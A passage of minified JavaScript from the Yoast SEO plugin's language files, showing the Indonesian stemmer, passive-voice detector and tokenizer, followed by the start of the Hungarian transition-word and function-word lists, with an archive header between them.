juga"],["begitu","sehingga"],["begitu","sampai"],["demikian","sehingga"],["demikian","sampai"],["sedemikian","sehingga"],["sedemikian","sampai"],["meskipun","namun"],["biarpun","namun"],["bukan hanya","melainkan juga"],["sedemikian rupa","sehingga"],["sebaiknya","daripada"],["entah","entah"],["kalau","maka"],["apabila","maka"],["apa","atau"],["jangankan","pun"],["saja","apalagi"],["apakah","atau"]],L=window.lodash,{buildFormRule:q,createRulesFromArrays:z}=e.languageProcessing,D=["a","e","i","o","u"];function H(a){let i=0;for(let n=0;n<a.length;n++)e=a[n],D.includes(e)&&i++;var e;return i}function I(a,i,e,n){if(e.includes(a))return a;const s=n.stemming.doNotStemWords.doNotStemK;if(a.endsWith("kan")){const i=a.substring(0,a.length-2);s.includes(i)&&(a=i)}const t=z(i);return q(a,t)||a}function K(a,i,e){const n=a.slice(i);return e.some((a=>n.startsWith(a)))}const{flattenSortLength:G,buildFormRule:J,createRulesFromArrays:Q}=e.languageProcessing,U=function(a,i){if((a.startsWith("ber")||a.startsWith("per"))&&K(a,3,i.stemming.beginningModification.rBeginning))return a.replace(/^(ber|per)/i,"r");if(/^peng/i.test(a)&&K(a,4,i.stemming.beginningModification.kBeginning))return a.replace(/^peng/i,"k");const e=Q(i.stemming.regexRules.removeSecondOrderPrefixes);return J(a,e)||a},V=function(a,i){let e=a.length;const n=i.stemming.regexRules.removeSuffixes,s=i.stemming.doNotStemWords.doNotStemSuffix,t=G(i.stemming.doNotStemWords.doNotStemPrefix.doNotStemFirstOrderPrefix),u=G(i.stemming.doNotStemWords.doNotStemPrefix.doNotStemSecondOrderPrefix);return t.some((i=>a.startsWith(i)))||(a=function(a,i){const e=function(a,i){const e=i.stemming.beginningModification;if(/^[mp]en/i.test(a)&&K(a,3,e.nBeginning))return a.replace(/^[mp]en/i,"n");if(/^[mp]eng/i.test(a)&&K(a,4,e.kBeginning))return a.replace(/^[mp]eng/i,"k");if(/^[mp]em/i.test(a)){if(K(a,3,e.pBeginning))return a.replace(/^(mem|pem)/i,"p");if(K(a,3,e.mBeginning))return a.replace(/^(mem|pem)/i,"m")}const n=function(a,i){const e=a.stemming.doNotStemWords.doNotStemPrefix.doNotStemFirstOrderPrefix.doNotStemTer;if(i.startsWith("keter")&&(i=i.substring(2,i.length)),i.startsWith("ter"))return e.some((a=>i.startsWith(a)))?i:K(i,3,a.stemming.beginningModification.rBeginning)?i.replace(/^ter/i,"r"):i.substring(3,i.length)}(i,a);return n||void 0}(a,i);if(e)return e;const n=Q(i.stemming.regexRules.removeFirstOrderPrefixes);return J(a,n)||a}(a,i)),e===a.length?(u.some((i=>a.startsWith(i)))||(a=U(a,i)),H(a)>2&&(a=I(a,n,s,i))):(e=a.length,H(a)>2&&(a=I(a,n,s,i)),e===a.length||u.includes(a)||H(a)>2&&(a=U(a,i))),a},X=function(a,i){a=function(a,i){const e=i.stemming.singleSyllableWords,n=i.stemming.singleSyllableWordsSuffixes,s=a;if(a=function(a,i){return a.startsWith("di")&&K(a,2,i.stemming.singleSyllableWords)?a.substring(2,a.length):/^[mp]enge/i.test(a)&&K(a,5,i.stemming.singleSyllableWords)?a.substring(5,a.length):a}(a,i),e.some((i=>a.startsWith(i)))&&H(a)<=3&&function(a,i){for(const e of i)if(a.match(e))return!0}(a,n)){a=I(a,i.stemming.regexRules.removeParticle,i.stemming.doNotStemWords.doNotStemParticle,i),a=I(a,i.stemming.regexRules.removePronoun,i.stemming.doNotStemWords.doNotStemPronounSuffix,i);const n=I(a,i.stemming.regexRules.removeSuffixes,i.stemming.doNotStemWords.doNotStemSuffix,i);e.includes(n)&&(a=n)}return(H(a)>1||1===a.length)&&(a=s),a}(a,i);const e=i.stemming.doNotStemWords.doNotStemParticle,n=i.stemming.doNotStemWords.doNotStemPronounSuffix;if(H(a)<=2)return a;const s=V(a,i);return e.includes(s)||n.includes(s)?s:(H(a=I(a,i.stemming.regexRules.removeParticle,e,i))>2&&(a=I(a,i.stemming.regexRules.removePronoun,n,i)),H(a)>2&&(a=V(a,i)),a)},{baseStemmer:Y}=e.languageProcessing;function Z(a){const i=(0,L.get)(a.getData("morphology"),"id",!1);return i?a=>function(a,i){if(i.stemming.shouldNotBeStemmed.includes(a))return a;const e=function(a,i){if(-1===a.indexOf("-"))return null;const e=a.split("-");if(2===e.length){let a=e[0],n=e[1];if(a=X(a,i),n=X(n,i),a.substring(1)===(n.startsWith("ng")||n.startsWith("ny")?n.substring(2):n.substring(1))){const e=i.stemming.nonPluralReduplications;return e.includes(a)&&e.includes(n)?a+"-"+a:a}}return null}(a,i);return e||X(a,i)}(a,i):Y}const aa=["diskontinuitas","diskualifikasi","diskriminatif","diskriminator","digitalisasi","disinformasi","disintegrasi","diskriminasi","disorientasi","distabilitas","diktatorial","disinfektan","disinsentif","diskrepansi","distributor","diagnostik","dialketika","diktatoris","dinosaurus","diplomatik","diplomatis","direktorat","dirgantara","disimilasi","diskontinu","diskulpasi","disparitas","dispensasi","distilator","distingtif","distribusi","diversitas","diafragma","diagnosis","diakritik","diakronis","dialektal","dialektik","dialektis","digenesis","digitalis","dilematik","diminutif","dinamisme","dingklang","diplomasi","dirgahayu","disertasi","disfungsi","diskredit","diskursif","disleksia","dislokasi","dismutasi","disonansi","disosiasi","dispenser","disposisi","distilasi","distingsi","divestasi","diabeter","diagonal","dialisis","diameter","diaspora","difraksi","digestif","diglosia","dikotomi","diktator","dilatasi","dimorfik","dinamika","dioksida","diopsida","diplomat","direktur","disentri","disensus","disiplin","diskotek","diskresi","dispersi","disrupsi","distansi","distorsi","diagram","difabel","digdaya","digital","digresi","diletan","dimensi","dinamik","dinamis","dinamit","dinasti","dioksin","diorama","diploma","diptera","direksi","dirigen","disagio","disiden","disjoki","diskoid","diskusi","disuasi","dividen","diadem","diakon","dialek","dialog","diaper","diayah","diesel","dilasi","dinamo","diniah","diorit","diare","diode","didih","didik","didis","digit","dikau","dikir","diksi","dikte","dinas","dipan","dirah","direk","disko","dinda","difusi","dilema","dingin","diniah","diorit","dirham","disket","diskon","divisi","diftong","difteri","dinding","dingkis","dingkit","dioksin","diorama","diploma","dirigen","disiden","displin","disjoki","diskusi","distrik","dividen","digestif","diglosia","dikotomi","dingklik","dioksida","diplomat","direktur","disentri","diskresi","disorder","dispersi","distansi","disrupsi","divergen","dingklang","diplomasi","dirgahayu","disertasi","disfungsi","disilabik","diskredit","disleksia","dislokasi","disosiasi","dispenser","disposisi","distilasi","dinosaurus","diplomatik","diplomatis","dirgantara","disimilasi","diskontinu","disparitas","distilator","distribusi","divergensi","diversitas","disabilitas","disinfektan","diskrepansi","disintegrasi","diskriminasi","diskriminatif","diskontinuitas","diskualifikasi"],{getWords:ia}=e.languageProcessing;function ea(a){const i=ia(a.toLowerCase());let e=i.filter((a=>a.length>4));if(e=e.filter((a=>a.startsWith("di"))),0===e.length)return!1;for(const a of aa)e=e.filter((i=>!i.startsWith(a)));return e=e.filter((function(a){let e=!0;const n=i.indexOf(a);return"untuk"===i[n-1]&&(e=!1),e})),0!==e.length}const na="\\–\\-\\(\\)_\\[\\]’‘“”〝〞〟‟„\"'.?!:;,¿¡«»‹›—×+&۔؟،؛。。!‼?⁇⁉⁈‥…・ー、〃〄〆〇〈〉《》「」『』【】〒〓〔〕〖〗〘〙〚〛〜〝〞〟〠〶〼〽{}|~⦅⦆「」、[]・¥$%@&'()*/:;<>\\\<>",sa=(na.split(""),new RegExp("^["+na+"]+")),ta=new RegExp("["+na+"]+$"),ua=new Map([["amp;","&"],["lt;","<"],["gt;",">"],["quot;",'"'],["apos;","'"],["ndash;","–"],["mdash;","—"],["copy;","©"],["reg;","®"],["trade;","™"],["pound;","£"],["yen;","¥"],["euro;","€"],["dollar;","$"],["deg;","°"],["asymp;","≈"],["ne;","≠"],["nbsp;"," "]]),ra=(new RegExp("&("+[...ua.keys()].join("|")+")","ig"),new Map);ua.forEach(((a,i)=>ra.set("#"+i,a)));const da=new RegExp("^("+[...ra.keys()].join("|")+")"),ka=new RegExp("("+[...ra.keys()].join("|")+")$"),la=/([\s\t\u00A0\u2013\u2014[\]])/,ma=function(a){if(!a)return[];return(a=>{const i=[];return a.forEach((a=>{const e=[],n=[];for(;sa.test(a)&&!da.test(a);)e.push(a[0]),a=a.slice(1);for(;ta.test(a)&&!ka.test(a);)n.unshift(a[a.length-1]),a=a.slice(0,-1);let s=[...e,a,...n];s=s.filter((a=>""!==a)),i.push(...s)})),i})(a.split(la).filter((a=>""!==a)))},{AbstractResearcher:ga}=e.languageProcessing;class pa extends ga{constructor(a){super(a),delete this.defaultResearches.getFleschReadingScore,Object.assign(this.config,{language:"id",passiveConstructionType:"morphological",firstWordExceptions:n,functionWords:$,transitionWords:t,twoPartTransitionWords:_,areHyphensWordBoundaries:!1}),Object.assign(this.helpers,{getStemmer:Z,isPassiveSentence:ea,splitIntoTokensCustom:ma})}}(window.yoast=window.yoast||{}).Researcher=i})();wordpress-seo/js/dist/languages/hu.js000064400000154601147510273070013674 0ustar00(()=>{"use strict";var e={d:(a,n)=>{for(var l in n)e.o(n,l)&&!e.o(a,l)&&Object.defineProperty(a,l,{enumerable:!0,get:n[l]})},o:(e,a)=>Object.prototype.hasOwnProperty.call(e,a),r:e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})}},a={};e.r(a),e.d(a,{default:()=>_});const n=window.yoast.analysis,l=["ahányszor","ahelyett","ahogy","ahol","ahonnan","ahová","akár","akárcsak","akkor","alapvetően","alighogy","ám","ámbár","ámde","ameddig","amennyiben","amennyire","amennyiszer","amíg","amikor","amikorra","aminthogy","amióta","amire","annálfogva","annyira","avagy","azaz","azazhogy","azért","azonban","azonkívül","azután","bár","befejezésül","bizony","csakhogy","de","dehát","dehogy","egybehangzóan","egyidejűleg","egyöntetűen","egyöntetűleg","ekképpen","ellenben","először","előzőleg","elsősorban","ennélfogva","eredményeképp","eredményeképpen","és","eszerint","ezért","feltétlenül","főként","főleg","függetlenül","ha","habár","hanem","hányszor","harmadjára","harmadszor","hasonlóan","hasonlóképpen","hát","hirtelen","hirtelenjében","hisz","hiszen","hogy","hogyha","hol","holott","honnan","hová","így","illetőleg","illetve","immár","is","jóllehet","kár","kétségtelenül","kifejezetten","kiváltképp","következésképpen","legalábbis","legfőképp","maga","máskülönben","másodsorban","másodszor","meg","mégis","megkérdőjelezhetetlenül","megkérdőjelezhetően","mégpedig","mégsem","mennél","mennyiszer","merre","mert","merthogy","midőn","mielőtt","míg","mihelyt","miként","miképp","mikor","mikorra","mindamellett","mindazáltal","mindazonáltal","mindenekelőtt","minél","mint","mintha","minthogy","mióta","mire","miután","mivel","mivelhogy","nahát","nehogy","noha","nos","nyilvánvalóan","óh","összefoglalva","összehasonlításképp","összehasonlításképpen","pedig","például","plusz","s","sajna","satöbbi","se","sem","sőt","szintén","tagadhatatlanul","tehát","továbbá","tudniillik","úgy","ugyan","ugyanis","úgyhogy","vagy","vagyis","valamennyi","valamint","valóban","végezetül","végül","végülis","viszont","amerről","hiába","miközben","egyszersmind","csakugyan","különben","mialatt","mintegy","miszerint","nemde","ugye","vajon","semmint","hacsak","úgymint","mintsem"],k=l.concat(["a továbbiakban","abba, hogy","abban, hogy","abból, hogy","addig, amíg","addig, hogy","addig, míg","afelé, hogy","ahelyett, hogy","ahhoz, hogy","ahogy fent látható","ahogy írtam","ahogy megmutattam","ahogy megjegyeztem","akként, hogy","akkorra, hogy","amiatt, hogy","amellett, hogy","amint azt megjegyeztük","amint csak","amint láthatjuk","anélkül, hogy","annak érdekében, hogy","annak okáért","annyi, hogy","annyi, mint","annyira, hogy","annyira, mint","arra, hogy","arról, hogy","attól fogva, hogy","attól, hogy","avégett, hogy","avégre, hogy","az ellen, hogy","az első dolog","az első dolog, amit meg kell jegyezni","az iránt, hogy","azelőtt, hogy","azért, hogy","azonos módon","azok után, hogy","azon, hogy","azonkívül, hogy","azóta, hogy","azt követően","aztán pedig","azután, hogy","azzal a feltétellel, hogy","azzal, hogy","bár igaz lehet","ebből a célból","ebből az okból","előbb vagy utóbb","ennek eredményeként","ennek folytán","ennek megfelelően","éppen ellenkezőleg","éppen úgy","erre a célra","ezen felül","fenntartás nélkül","ha egyébként","ha egyszer","ha különben","ha ugyan","hasonló módon","hogy sem","hogy sem mint","hol hol","holott pedig","időről időre","igaz, hogy","így tehát","ilyen körülmények között","késedelem nélkül","kétség nélkül","más szóval","más szavakkal","másképpen fogalmazva","még akkor is","még ha","mert különben","mert tény, hogy","mind mind","mindaddig, amíg","mindezek után","mint sem hogy","nem is beszélve","nem különben","nem úgy, mint","oda, hogy","oly módon, hogy","sem hogy","szem előtt tartva","tény, hogy","úgy, hogy","úgy, mint","ugyanazon okból","ugyanolyan okból","olybá tűnik","egyszer s mindenkorra","akkor, amikor","azóta, mióta","attól kezdve, mióta","attól kezdve, hogy","akkorra, amikorra","akkor, ha","azóta, amióta","akkorra, amikorra","addigra, amikorra","akkor, hogyha","akkor, ha","úgy-ahogy","mintsem hogy"]),t=function(e){let a=e;return e.forEach((n=>{(n=n.split("-")).length>0&&n.filter((a=>!e.includes(a))).length>0&&(a=a.concat(n))})),a}([].concat(["a","az","egy"],["egy","kettő","három","négy","öt","hat","hét","nyolc","kilenc","tíz","tizenegy","tizenkettő","tizenhárom","tizennégy","tizenöt","tizenhat","tizenhét","tizennyolc","tizenkilenc","húsz","száz","ezer","tízezer","százezer","millió","félmillió","egymillió"],["első","második","harmadik","negyedik","ötödik","hatodik","hetedik","nyolcadik","kilencedik","tizedik","tizenegyedik","tizenkettedik","tizenharmadik","tizennegyedik","tizenötödik","tizenhatodik","tizenhetedik","tizennyolcadik","tizenkilencedik","huszadik","századik","ezredik","tízezredik","százezredik","milliomodik","egymilliomodik"],["én","engem","enyém","nekem","velem","értem","bennem","belém","belőlem","nálam","hozzám","tőlem","rajtam","rám","rólam","te","téged","tiéd","neked","veled","érted","benned","beléd","belőled","nálad","hozzád","tőled","rajtad","rád","rólad","ő","őt","övé","neki","vele","érte","benne","bele","belé","nála","hozzá","tőle","rajta","rá","róla","mi","minket","mienk","nekünk","velünk","értünk","bennünk","belénk","nálunk","hozzánk","tőlünk","rajtunk","ránk","rólunk","ti","titeket","tiétek","nektek","veletek","értetek","bennetek","belétek","nálatok","hozzátok","tőletek","rajtatok","rátok","rólatok","ők","őket","övék","nekik","velük","értük","bennük","beléjük","náluk","hozzájuk","tőlük","rajtuk","rájuk","róluk","Ön","Önt","Öné","Önnek","Önnel","Önért","Önben","Önbe","Ön","Önt","Öné","Önnek","Önnel","Önért","Önben","Önbe","Önből","Önnél","Önhöz","Öntől","Önön","Önre","Önről","Önök","Önöket","Önöké","Önöknek","Önökkel","Önökért","Önökben","Önökbe","Önökből","Önöknél","Önökhöz","Önöktől","Önökön","Önökre","Önökről","ez","emez","ugyanez","ezt","emezt","ugyanezt","ezé","emezé","ugyanezé","ennek","emennek","ugyanennek","ezzel","emezzel","ugyanezzel","ezért","emezért","ugyanezért","ebben","emebben","ugyanebben","ebbe","emebbe","ugyanebbe","ebből","emebből","ugyanebből","ennél","emennél","ugyanennél","ehhez","emehhez","ugyanehhez","ettől","emettől","ugyanettől","ezen","emezen","ugyanezen","erre","emerre","ugyanerre","erről","emerről","ugyanerről","eddig","emeddig","ugyaneddig","ekkor","emekkor","ugyanekkor","ezzé","emezzé","ugyanezzé","ekként","emekként","ugyanekként","az","amaz","ugyanaz","azt","amazt","ugyanazt","azé","amazé","ugyanazé","annak","amannak","ugyanannak","azzal","amazzal","ugyanazzal","azért","amazért","ugyanazért","abban","amabban","ugyanabban","abba","amabba","ugyanabba","abból","amabból","ugyanabból","annál","amannál","ugyanannál","ahhoz","amahhoz","ugyanahhoz","attól","amattól","ugyanattól","azon","amazon","ugyanazon","arra","amarra","ugyanarra","arról","amarról","ugyanarról","addig","amaddig","ugyanaddig","akkor","amakkor","ugyanakkor","azzá","amazzá","ugyanazzá","akként","amakként","ugyanakként","ilyen","emilyen","ugyanilyen","ilyet","emilyet","ugyanilyet","ilyennek","emilyennek","ugyanilyennek","ilyennel","emilyennel","ugyanilyennel","ilyenért","emilyenért","ugyanilyenért","ilyenben","emilyenben","ugyanilyenben","ilyenbe","emilyenbe","ugyanilyenbe","ilyenből","emilyenből","ugyanilyenből","ilyennél","emilyennél","ugyanilyennél","ilyenhez","emilyenhez","ugyanilyenhez","ilyentől","emilyentől","ugyanilyentől","ilyenen","emilyenen","ugyanilyenen","ilyenre","emilyenre","ugyanilyenre","ilyenről","emilyenről","ugyanilyenről","ilyenkor","emilyenkor","ugyanilyenkor","ilyenné","emilyenné","ugyanilyenné","olyan","amolyan","ugyanolyan","olyat","amolyat","ugyanolyat","olyannak","amolyannak","ugyanolyannak","olyannal","amolyannal","ugyanolyannal","olyanért","amolyanért","ugyanolyanért","olyanban","amolyanban","ugyanolyanban","olyanba","amolyanba","ugyanolyanba","olyanból","amolyanból","ugyanolyanból","olyannál","amolyannál","ugyanolyannál","olyanhoz","amolyanhoz","ugyanolyanhoz","olyantól","amolyantól","ugyanolyantól","olyanon","amolyanon","ugyanolyanon","olyanra","amolyanra","ugyanolyanra","olyanról","amolyanról","ugyanolyanról","olyankor","amolyankor","ugyanolyankor","olyanná","amolyanná","ugyanolyanná","ennyi","emennyi","ugyanennyi","ennyit","emennyit","ugyanennyit","ennyinek","emennyinek","ugyanennyinek","ennyivel","emennyivel","ugyanennyivel","ennyiért","emennyiért","ugyanennyiért","ennyiben","emennyiben","ugyanennyiben","ennyibe","emennyibe","ugyanennyibe","ennyiből","emennyiből","ugyanennyiből","ennyinél","emennyinél","ugyanennyinél","ennyihez","emennyihez","ugyanennyihez","ennyitől","emennyitől","ugyanennyitől","ennyin","emennyin","ugyanennyin","ennyire","emennyire","ugyenennyire","ennyiről","emennyiről","ugyanennyiről","ennyivé","emennyivé","ugyanennyivé","annyi","amannyi","ugyanannyi","annyit","amannyit","ugyanannyit","annyinak","amannyinak","ugyanannyinak","annyival","amannyival","ugyanannyival","annyiért","amannyiért","ugyanannyiért","annyiban","amannyiban","ugyanannyiban","annyiba","amannyiba","ugyanannyiba","annyiból","amannyiból","ugyanannyiból","annyinál","amannyinál","ugyanannyinál","annyihoz","amannyihoz","ugyanannyihoz","annyitól","amannyitól","ugyananyitól","annyin","amannyin","ugyanannyin","annyira","amannyira","ugyanannyira","annyiról","amannyiról","ugyanannyiról","annyivá","amannyivá","ugyanannyivá","így","emígy","ugyanígy","úgy","amúgy","ugyanúgy","itt","ott","ugyanitt","ogyanott","ide","oda","ugyanide","ugyanoda","amoda","emide","innen","onnan","ugyaninnen","ogyanonnan","amonnan","eminnen","eddig","addig","ezután","azután","ezelőtt","azelőtt","ugyaneddig","ugyanaddig","emeddig","amaddig","ekkora","ekkorát","ekkorának","ekkorával","ekkoráért","ekkorában","ekkorába","ekkorából","ekkoránál","ekkorához","ekkorától","ekkorán","ekkorára","ekkoráról","ekkorává","akkora","akkorát","akkorának","akkorával","akkoráért","akkorában","akkorába","akkorából","akkoránál","akkorához","akkorától","akkorán","akkorára","akkoráról","akkorává","ekképpen","akképpen","ezek","emezek","ugyanezek","ezeket","emezeket","ugyanezeket","ezeké","emezeké","ugyanezeké","ezeknek","emezeknek","ugyanezeknek","ezekkel","emezekkel","ugyanezekkel","ezekért","emezekért","ugyanezekért","ezekben","emezekben","ugyanezekben","ezekbe","emezekbe","ugyanezekbe","ezekből","emezekből","ugyanezekből","ezeknél","emezeknél","ugyanezeknél","ezekhez","emezekhez","ugyanezekhez","ezektől","emezektől","ugyanezektől","ezekre","emezekre","ugyanezekre","ezekről","emezekről","ugyanezekről","ezekig","emezekig","ugyanezekig","ezekké","emezekké","ugyanezekké","ezekként","emezekként","ugyanezekként","azok","amazok","ugyanazok","azokat","amazokat","ugyanazokat","azoké","amazoké","ugyanazoké","azoknak","amazoknak","ugyanazoknak","azokkal","amazokkal","ugyanazokkal","azokért","amazokért","ugyanazokért","azokban","amazokban","ugyanazokban","azokba","amazokba","ugyanazokba","azokból","amazokból","ugyanazokból","azoknál","amazoknál","ugyanazoknál","azokhoz","amazokhoz","ugyanazokhoz","azoktól","amazoktól","ugyanazoktól","azokra","amazokra","ugyanazokra","azokról","amazokról","ugyanazokról","azokig","amazokig","ugyanazokig","azokká","amazokká","ugyanazokká","ilyenek","emilyenek","ugyanilyenek","ilyeneket","emilyeneket","ugyanilyeneket","ilyeneknek","emilyeneknek","ugyanilyeneknek","ilyenekkel","emilyenekkel","ugyanilyenekkel","ilyenekért","emilyenekért","ugyanilyenekért","ilyenekben","emilyenekben","ugyanilyenekben","ilyenekbe","emilyenekbe","ugyanilyenekbe","ilyenekből","emilyenekből","ugyanilyenekből","ilyeneknél","emilyeneknél","ugyanilyeneknél","ilyenekhez","emilyenekhez","ugyanilyenekhez","ilyenektől","emilyenektől","ugyanilyenektől","ilyeneken","emilyeneken","ugyanilyeneken","ilyenekre","emilyenekre","ugyanilyenekre","ilyenekről","emilyenekről","ugyanilyenekről","ilyenekké","emilyenekké","ugyanilyenekké","olyanok","amolyanok","ugyanolyanok","olyanokat","amolyanokat","ugyanolyanokat","olyanoknak","amolyanoknak","ugyanolyanoknak","olyanokkal","amolyanokkal","ugyanolyanokkal","olyanokért","amolyanokért","ugyanolyanokért","olyanokban","amolyanokban","ugyanolyanokban","olyanokba","amolyanokba","ugyanolyanokba","olyanokból","amolyanokból","ugyanolyanokból","olyanoknál","amolyanoknál","ugyanolyanoknál","olyanokhoz","amolyanokhoz","ugyanolyanokhoz","olyanoktól","amolyanoktól","ugyanolyanoktól","olyanokon","amolyanokon","ugyanolyanokon","olyanokra","amolyanokra","ugyanolyanokra","olyanokról","amolyanokról","ugyanolyanokról","olyanokká","amolyanokká","ugyanolyanokká","aki","akit","akié","akinek","akivel","akiért","akiben","akibe","akiből","akinél","akihez","akitől","akin","akire","akiről","akivé","ami","amit","amié","aminek","amivel","amiért","amiben","amibe","amiből","aminél","amihez","amitől","amin","amire","amiről","amivé","amilyen","amilyet","amilyennek","amilyennel","amilyenért","amilyenben","amilyenbe","amilyenből","amilyennél","amilyenhez","amilyentől","amilyenen","amilyenre","amilyenről","amilyenné","amekkora","amekkorát","amekkorának","amekkorával","amekkoráért","amekkorában","amekkorába","amekkorából","amekkoránál","amekkorához","amekkorától","amekkorán","amekkorára","amekkoráról","amekkorává","amely","amelyet","amelynek","amellyel","amelyért","amelyben","amelybe","amelyből","amelynél","amelyhez","amelytől","amelyen","amelyre","amelyről","amellyé","ahány","ahányat","ahánynak","ahánnyal","ahányért","ahányban","ahányba","ahányból","ahánynál","ahányhoz","ahánytól","ahányan","ahányra","ahányról","ahánnyá","amennyi","amennyit","amennyinek","amennyivel","amennyiért","amennyiben","amennyibe","amennyiből","amennyinél","amennyihez","amennyitől","amennyin","amennyire","amennyiről","amennyivé","ahányadik","ahányadikat","ahányadiknak","ahányadika","ahányadikért","ahányadikban","ahányadikba","ahányadikból","ahányadiknál","ahányadikhoz","ahányadiktól","ahányadikon","ahányadikra","ahányadikról","ahányadikká","ahová","ahonnan","ahonnantól","amerre","amerről","ahogy","ahogyan","amiért","amikor","amikortól","amikorra","akik","akiket","akiké","akiknek","akikkel","akikért","akikben","akikbe","akikból","akiknél","akikhez","akiktől","akiken","akikre","akikről","akikké","amik","amiket","amiké","amiknek","amikkel","amikért","amikben","amikbe","amikból","amiknél","amikhez","amiktől","amiken","amikre","amikről","amikké","amilyenek","amilyeneket","amilyeneknek","amilyenekkel","amilyenekért","amilyenekben","amilyenekbe","amilyenekből","amilyeneknél","amilyenekhez","amilyenektől","amilyeneken","amilyenekre","amilyenekről","amekkorák","amekkorákat","amekkoráknak","amekkorákkal","amekkorákért","amekkorákban","amekkorákba","amekkorákból","amekkoráknál","amekkorákhoz","amekkoráktól","amekkorákon","amekkorákra","amekkorákról","amekkorákká","amelyek","amelyeket","amelyeknek","amelyekkel","amelyekért","amelyekben","amelyekbe","amelyekből","amelyeknél","amelyekhez","amelyektől","amelyeken","amelyekre","amelyekről","ahányak","ahányakat","ahányaknak","ahányakkal","ahányakért","ahányakban","ahányakba","ahányakból","ahányaknál","ahányakhoz","ahányaktól","ahányakon","ahányakra","ahányakról","ahányakká","amennyik","amennyiket","amennyiknek","amennyikkel","amennyikért","amennyikben","amennyikbe","amennyikből","amennyiknél","amennyikhez","amennyiktől","amennyiken","amennyikre","amennyikről","amennyikké","ahányadikak","ahányadikat","ahányadiknak","ahányadikkal","ahányadikért","ahányadikban","ahányadikba","ahányadikból","ahányadiknál","ahányadikhoz","ahányadiktól","ahányadikon","ahányadikra","ahányadikról","ahányadikká","amikért","egymás","egymást","egymásé","egymásnak","egymással","egymásért","egymásban","egymásba","egymásból","egymásnál","egymáshoz","egymástól","egymáson","egymásra","egymásról","egymássá"],["ki","kit","kié","kinek","kivel","kiért","kiben","kibe","kiből","kinél","kihez","kitől","kin","kire","kiről","kicsoda","kicsodát","kicsodának","kicsodával","kicsodáért","kicsodában","kicsodába","kicsodából","kicsodánál","kicsodához","kicsodától","kicsodán","kicsodára","kicsodáról","mi","mit","minek","mivel","miért","miben","mibe","miből","minél","mihez","mitől","min","mire","miről","micsoda","micsodát","micsodának","micsodával","micsodáért","micsodában","micsodába","micsodából","micsodánál","micsodához","micsodától","micsodán","micsodára","micsodáról","milyen","milyet","milyennek","milyennel","milyenért","milyenben","milyenbe","milyenből","milyennél","milyenhez","milyentől","milyenen","milyenre","milyenről","mekkora","mekkorát","mekkorának","mekkorával","mekkoráért","mekkorában","mekkorába","mekkorából","mekkoránál","mekkorához","mekkorától","mekkorán","mekkorára","mekkoráról","miféle","mifélét","mifélének","mifélével","miféléért","mifélében","mifélébe","miféléből","mifélénél","miféléhez","mifélétől","mifélén","mifélére","miféléről","melyik","melyiket","melyiknek","melyikkel","melyikért","melyikben","melyikbe","melyikből","melyiknél","melyikhez","melyiktől","melyiken","melyikre","melyikről","hány","hányat","hánynak","hánnyal","hányért","hányban","hányba","hányból","hánynál","hányhoz","hánytól","hányon","hányra","hányról","mennyi","mennyit","mennyinek","mennyivel","mennyiért","mennyiben","mennyibe","mennyiből","mennyinél","mennyihez","mennyitől","mennyin","mennyire","mennyiről","hányadik","hányadikat","hányadiknak","hányadikkal","hányadikért","hányadikban","hányadikba","hányadikból","hányadiknál","hányadikhoz","hányadiktól","hányadikon","hányadikra","hányadikról","hol","hová","honnan","honnantól","honnanról","merre","mettől","merről","meddig","meddigtől","meddigről","mióta","hogyan","miként","kik","kiket","kiknek","kikkel","kikért","kikben","kikbe","kikből","kiknél","kikhez","kiktől","kiken","kikre","kikről","kicsodák","kicsodákat","kicsodáknak","kicsodákkal","kicsodákért","kicsodákban","kicsodákba","kicsodákból","kicsodáknál","kicsodákhoz","kicsodáktól","kicsodákon","kicsodákra","kicsodáról","mik","miket","miknek","mikkel","mikért","mikben","mikbe","mikből","miknél","mikhez","miktől","miken","mikre","mikről","micsodák","micsodákat","micsodáknak","micsodákkal","micsodákért","micsodákban","micsodákba","micsodákból","micsodáknál","micsodákhoz","micsodáktól","micsodákon","micsodákra","micsodákról","milyenek","milyeneket","milyeneknek","milyenekkel","milyenekért","milyenekben","milyenekbe","milyenekből","milyeneknél","milyenekhez","milyenektől","milyeneken","milyenekre","milyenekről","mekkorák","mekkorákat","mekkoráknak","mekkorákkal","mekkorákért","mekkorákban","mekkorákba","mekkorákból","mekkoráknál","mekkorákhoz","mekkoráktól","mekkorákon","mekkorákra","mekkorákról","mifélék","miféléket","miféléknek","mifélékkel","mifélékért","mifélékben","mifélékbe","mifélékből","miféléknél","mifélékhez","miféléktől","miféléken","mifélékre","mifélékről","melyikek","melyikeket","melyikeknek","melyikekkel","melyikekért","melyikekben","melyikekbe","melyikekből","melyikeknél","melyikekhez","melyikektől","melyikeken","melyikekre","melyikekről","hányak","hányakat","hányaknak","hányakkal","hányakért","hányakban","hányakba","hányakból","hányaknál","hányakhoz","hányaktól","hányakon","hányakra","hányakról","mennyik","mennyiket","mennyiknek","mennyikkel","mennyikért","mennyikben","mennyikbe","mennyikből","mennyiknél","mennyikhez","mennyiktől","mennyiken","mennyikre","mennyikről","hányadikak","hányadikakat","hányadikaknak","hányadikakkal","hányadikakért","hányadikakban","hányadikakba","hányadikakból","hányadikaknál","hányadikakhoz","hányadikaktól","hányadikakon","hányadikakra","hányadikakról"],["sok","kevés","elég","jónéhány","néhány","rengeteg","töredék","temérdek","tengernyi","számtalan","számos","elegendő","kevéske","egy csomó","egy rakás","egy halom"],["magam","magamat","magamé","magamnak","magammal","magamért","magamban","magamba","magamból","magamnál","magamhoz","magamtól","magamon","magamra","magamról","magammá","magad","magadat","magadé","magadnak","magaddal","magadért","magadban","magadba","magadból","magadnál","magadhoz","magadtól","magadon","magadra","magadról","magaddá","maga","magát","magáé","magának","magával","magáért","magában","magába","magából","magánál","magához","magától","magán","magára","magáról","magává","magunk","magunkat","magunké","magunknak","magunkkal","magunkért","magunkban","magunkba","magunkból","magunknál","magunkhoz","magunktól","magunkon","magunkra","magunkról","magunkká","magatok","magatokat","magatoké","magatoknak","magatokkal","magatokért","magatokban","magatokba","magatokból","magatoknál","magatokhoz","magatoktól","magatokon","magatokra","magatokról","magatokká","maguk","magukat","maguké","maguknak","magukkal","magukért","magukban","magukba","magukból","maguknál","magukhoz","maguktól","magukon","magukra","magukról","magukká"],["valaki","valakit","valakié","valakinek","valakivel","valakiért","valakiben","valakibe","valakiből","valakinél","valakihez","valakitől","valakin","valakire","valakiről","valakivé","valami","valamit","valamié","valaminek","valamivel","valamiért","valamiben","valamibe","valamiből","valaminél","valamihez","valamitől","valamin","valamire","valamiről","valamivé",